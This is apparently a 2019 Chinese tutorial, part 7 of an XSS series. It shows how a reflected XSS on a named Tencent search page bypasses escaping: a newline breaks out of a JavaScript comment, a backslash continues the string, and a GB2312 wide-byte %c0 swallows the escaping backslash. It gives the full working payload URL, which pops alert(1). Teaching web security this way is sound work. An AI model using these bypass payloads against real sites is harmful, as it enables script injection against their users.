那些年我們一起學XSS – 7. 寬位元組、反斜線與換行符一起複仇記
- 2019 年 11 月 20 日
- 筆記
網絡安全/滲透測試/代碼審計/
關注
寬位元組、反斜線與換行符一起複仇記
1. 實例點如下:
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa
老規矩,繼續看我們的輸出。

2. 一共有3處輸出,位於HTML屬性里的那一處,我們放棄了,因為雙引號被滅掉了。那麼還剩下2處。都是位於<script>..</script>里,而且挨在了一起。 3. 先看第2處,是不是似曾相似啊?對的,教程6里剛剛遇到過。那就是輸出在【注釋】的情況。我們用換行符試試?

4. 一條是好消息,換行可以用,一條是壞消息。。下面出現的一句壞了我們的好事。。腫么辦。 5. 這個時候,我們需要先說點javascript的知識。 javascript,字符串允許下面多行的寫法。
var a="我是一個字符串 我還是一個字符串"; alert(a);
6. 基於這點,我們可以把缺陷點構造成下面的樣子。
//document.getElementById("order_select").value = "aaaa alert(1);//"; var searchOrder = "aaaa alert(1);//";
那麼代碼構造的解析如下:

7.帶着這個想法,請上我們的反斜線。。

8. 悲劇的是,反斜線被過濾成了2個\,這下不好辦了。 9. 還記得在教程4里,我們提到的寬位元組用法么?說到了 %c0可以吃掉%5c。 我們看看頁面的編碼。
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
gbxxx系列的啊,竊喜中。 10. 於是,我們的%c0也加入戰鬥了。
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//
看看源碼中的輸出。\ 被我們變成了 亂碼+

11. 最後彈窗,見漏洞證明~~ 12. 此時,標點符號們正在開會,開會的主題是:「大家好,才是真的好」
